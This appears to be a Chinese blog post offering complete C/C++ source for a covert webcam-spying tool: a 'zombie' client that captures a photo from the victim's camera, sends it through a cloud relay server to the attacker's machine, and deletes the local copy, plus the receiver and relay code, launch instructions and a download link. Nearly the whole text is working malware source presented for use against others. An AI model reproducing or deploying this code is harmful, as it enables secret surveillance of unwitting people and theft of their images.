主要功能
肉鸡程序启动后可打开摄像头迅速拍摄一张照片,通过服务器发送到主机,发送完成后删除肉鸡本地保存的图片
相关技术
- socket网络编程
- 文件操作
- opencv
代码
肉鸡
#define _WINSOCKAPI_
#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <Windows.h>
#include <Winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <iostream>
#include <tlhelp32.h>
#include <opencv2/opencv.hpp>
#pragma comment(lib,"Ws2_32.lib")using namespace std;
using namespace cv;SOCKET inter();
void GetPhoto();
void SendPhoto(SOCKET sockid);void inter(SOCKET *sockid)
{WSADATA wsd;if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0){printf("WSAStartup\n");system("pause");exit(0);}SOCKADDR_IN addr;addr.sin_family = AF_INET;addr.sin_port = htons(5188);addr.sin_addr.S_un.S_addr = inet_addr("******");//服务器ip*sockid = socket(AF_INET, SOCK_STREAM, 0);if (connect(*sockid, (SOCKADDR *)&addr, sizeof(addr)) != 0){printf("connect\n");system("pause");exit(0);}
}void GetPhoto()
{VideoCapture capture(0);int delay = 1000 / 30;string a[] = { "photo.jpg"};Mat frame;capture >> frame;imshow("show", frame);Sleep(5);imwrite(a[0], frame);
}void SendPhoto(SOCKET sockid)
{GetPhoto();char buffer[4096] = {0};FILE *fp = fopen("photo.jpg", "rb");while (!feof(fp)){int len = fread(buffer, 1, sizeof(buffer), fp);if (len != send(sockid, buffer, len,0)){printf("write.\n");break;}memset(buffer, 0, sizeof(buffer));}fclose(fp);char path[MAX_PATH];GetCurrentDirectory(MAX_PATH, path);strcat(path, "\\photo.jpg");remove(path);
}int main()
{SOCKET sockid;inter(&sockid); //连接服务器GetPhoto(); //获取图片SendPhoto(sockid); //发送图片closesocket(sockid);return 0;
}
主机
#define _WINSOCKAPI_
#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <Windows.h>
#include <Winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>#pragma comment(lib,"Ws2_32.lib")SOCKET inter()
{WSADATA wsd;if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0){printf("WSAStartup\n");system("pause");exit(0);}SOCKADDR_IN addr;addr.sin_family = AF_INET;addr.sin_port = htons(5188);addr.sin_addr.S_un.S_addr = inet_addr("****");//服务器ipSOCKET sockid = socket(AF_INET, SOCK_STREAM, 0);if (connect(sockid, (SOCKADDR *)&addr, sizeof(addr)) != 0){printf("connect\n");system("pause");exit(0);}return sockid;
}void RecvPhoto(SOCKET sockid)
{FILE *fp = fopen("photo.jpg", "wb");char buffer[4096] = { 0 };while (1) {int n = recv(sockid, buffer, 4096,0);if (n == 0)break;fwrite(buffer, 1, n, fp);fseek(fp, 0, SEEK_END);}fclose(fp);
}int main()
{SOCKET sockid = inter();RecvPhoto(sockid);return 0;
}
服务器
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <fcntl.h>
#include <sys/select.h>
#include <string.h>
#include <unistd.h>
#include <malloc.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>#define clientA 0
#define clientB 1
#define max_client 2typedef struct clientNew
{char *addr;int sockid;uint16_t port;
}client_new;void client_new_init(client_new c_new[])
{int i=0;for(;i<max_client;i++){c_new[i].addr=NULL;c_new[i].sockid=0;c_new[i].port=0;}
}int internet(client_new c_new[])
{int R_sockid=0,H_sockid=0;int flag=1;int size=0;struct sockaddr_in sockaddr;sockaddr.sin_family=AF_INET;sockaddr.sin_port=htons(5188);sockaddr.sin_addr.s_addr=htonl(INADDR_ANY);int sockid=socket(AF_INET,SOCK_STREAM,0);const int on=1;if(setsockopt(sockid,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on))<0){printf("setsockopt\n");return 0;}if(bind(sockid,(struct sockaddr *)&sockaddr,sizeof(sockaddr))<0){printf("bind\n");return 0;}if(listen(sockid,SOMAXCONN)<0){printf("listen\n");return 0;}struct sockaddr_in other_sock_addr;socklen_t other_sock_addr_len=sizeof(other_sock_addr);int ret=0,j=0,i=0;char receive[10]={0};while(j!=max_client){int sockid_client=accept(sockid,(struct sockaddr *)&other_sock_addr,&other_sock_addr_len);c_new[j].sockid =sockid_client;c_new[j].addr=inet_ntoa(other_sock_addr.sin_addr);c_new[j].port=ntohs(other_sock_addr.sin_port);printf("ip=%s,port=%d 已连接\n",c_new[j].addr,c_new[j].port);j++;}R_sockid=c_new[1].sockid;H_sockid=c_new[0].sockid;char buffer[4096]={0};while(1){int n = read(R_sockid, buffer, 4096); if(n == 0)break;write(H_sockid,buffer,n);memset(buffer,0,sizeof(buffer));}
}
int main()
{client_new c_new[max_client];client_new_init(c_new);internet(c_new);return 0;
}
注:
- 先启动服务器程序,再启动主机程序,最后启动肉鸡程序。(本程序在32位机可能无法启动)
- 不铁的朋友不要冒犯
- 缺失某些文件可点此处下载
https://pan.baidu.com/s/1d5ACcgl0-SBRCwIqjFJySw
提取码:a9k9
4.服务器程序是在阿里云服务器跑的,如果没有公网ip仅在局域网下是达不到效果的